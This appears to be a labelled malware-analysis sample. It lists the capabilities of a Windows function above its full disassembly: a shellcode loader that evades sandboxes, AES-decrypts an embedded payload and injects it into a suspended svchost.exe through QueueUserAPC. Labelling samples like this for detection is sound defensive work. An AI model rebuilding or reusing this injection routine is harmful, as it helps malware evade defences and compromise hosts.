Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Create process on windows
Create process suspended
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Inject apc
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x28], edi
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov r8d, 0x31460
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test rax, rax
je 0x140001452
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsAlloc]
cmp eax, 0xffffffff
je 0x140001452
lea rcx, str.___No_sandox_is_detected_decrypting_the_shellcode_n
call fcn.140001010
lea r9d, [rdi + 0x18]
mov dword [rsp + 0x68], 0x31460
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140001127
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptAcquireContextW___u__n
call fcn.140001010
lea ecx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x78]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x14000116b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptCreateHash___u__n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x78]
lea rdx, [0x1400a1350]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x1400011a8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptHashData___u__n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8, qword [rsp + 0x78]
lea rax, [rbp - 0x10]
mov rcx, qword [rsp + 0x70]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x1400011ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDeriveKey___u__n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rbp - 0x10]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov qword [rsp + 0x128], rsi
xor r8d, r8d
lea rsi, [0x140005080]
xor edx, edx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x140001241
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDecrypt___u__n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov eax, dword [0x1400033c8]
lea rdx, [rbp - 0x10]
movsd xmm0, qword [str.svchost.exe]
xor r9d, r9d
mov dword [rbp - 8], eax
xor r8d, r8d
lea rax, [rsp + 0x50]
movsd qword [rbp - 0x10], xmm0
mov qword [rsp + 0x48], rax
xor ecx, ecx
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea rdx, [rbp - 0x10]
test eax, eax
jne 0x1400012d4
lea rcx, str.____Failed_to_create__s_process_for_shellcode_injection_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8d, dword [rsp + 0x64]
lea rcx, str.___Created_target_process__s_in_suspended_state_with_thread_id_of__lu_for_injecting_the_shellcode_n
mov qword [rsp + 0x120], rbx
call fcn.140001010
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov r8d, 0x31460
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x14000132c
lea rcx, str.Failed_to_allocate_memory_for_the_shellcode_n
call fcn.140001010
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, rbx
lea rcx, str.___Memory_is_allocated_for_the_shellcode_at_address__p_n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
mov r9d, 0x31460
mov r8, rsi
mov qword [rsp + 0x20], rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001373
lea rcx, str.____Failed_to_write_shellcode_to_the_allocated_memory_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Shellcode_is_successfully_written_to_the_allocated_memory_n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x68]
mov r9d, 0x40
mov qword [rsp + 0x20], rax
mov r8d, 0x31460
mov dword [rsp + 0x68], edi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1400013c3
lea rcx, str.____Failed_to_modify_the_permission_for_allocated_memory_from_RW_to_RWX_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Successfully_modified_the_permission_for_allocated_memory_from_RW_to_RWX_n
call fcn.140001010
mov rdx, qword [rsp + 0x58]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
jne 0x1400013fc
lea rcx, str.____Failed_to_queue_the_object_for_apc_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Successfully_queued_the_object_for_apc_n
call fcn.140001010
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [rsp + 0x64]
lea rcx, str.___Thread_with_thread_id_of__lu_is_sucessfully_resumed_for_the_shellcode_execution_n
call fcn.140001010
mov rbx, qword [rsp + 0x120]
xor eax, eax
mov rsi, qword [rsp + 0x128]
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.140001470
mov rdi, qword [rsp + 0x130]
add rsp, 0x110
pop rbp
ret
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3